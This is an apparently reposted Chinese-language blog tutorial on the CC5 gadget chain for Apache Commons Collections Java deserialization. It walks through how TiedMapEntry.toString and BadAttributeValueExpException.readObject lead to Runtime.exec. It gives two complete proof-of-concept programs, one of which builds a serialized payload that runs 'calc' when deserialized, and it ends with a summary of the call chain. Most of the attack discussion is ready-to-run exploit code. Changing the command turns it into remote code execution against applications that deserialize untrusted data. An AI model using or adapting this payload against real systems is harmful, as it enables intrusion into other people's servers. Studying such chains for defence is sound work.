赞
踩
在你学习这篇文章之前,cc1和cc6已经已经是会的,这样才能更好的来理解这篇文章
我们回想cc6的时候触发lazymap的get方法我们使用的是TiedMapEntry类的hashcode去触发getvalue方法
但是其实触发getvalue的很多
public boolean equals(Object obj) { if (obj == this) { return true; } if (obj instanceof Map.Entry == false) { return false; } Map.Entry other = (Map.Entry) obj; Object value = getValue(); return (key == null ? other.getKey() == null : key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue())); } /** * Gets a hashCode compatible with the equals method. * <p> * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()} * * @return a suitable hash code */ public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } /** * Gets a string version of the entry. * * @return entry as a string */ public String toString() { return getKey() + "=" + getValue(); }
可以看到是有三个的,这里我们cc5使用的就是toString()方法去触发
exp:
package CC5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC5 { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); HashMap map=new HashMap(); Map lazymap = LazyMap.decorate(map,chain); TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,1); tiedMapEntry.getValue(); } public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); out.writeObject(obj); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); out.readObject(); } }
怎么触发tostring呢?
我们看到这个类
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
可以发现它不仅实现了我们最希望的readobject方法,还实现了我们的tostring方法
但是有一个if条件,只需要绕过if条件,但是这个根本不需要绕,因为我们传入的TieMapEntry就可以绕过了
下面来实现这个方法
poc
package CC5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC5 { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); HashMap map=new HashMap(); Map lazymap = LazyMap.decorate(map,chain); TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,1); BadAttributeValueExpException badAttributeValueExpException =new BadAttributeValueExpException(tiedMapEntry); Object o =badAttributeValueExpException; serialize(o); unserialize("1.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); out.writeObject(obj); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); out.readObject(); } }
也是成功的弹出了计算器
这个还是简单的
我们来回顾一下调用过程
BadAttributeValueExpException.readobject()—TiedMapEntry.tostring—TiedMapEntry.getvalue—LazyMap.get—chaintransformer.transform—后面的就是那个简单的链子呢
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。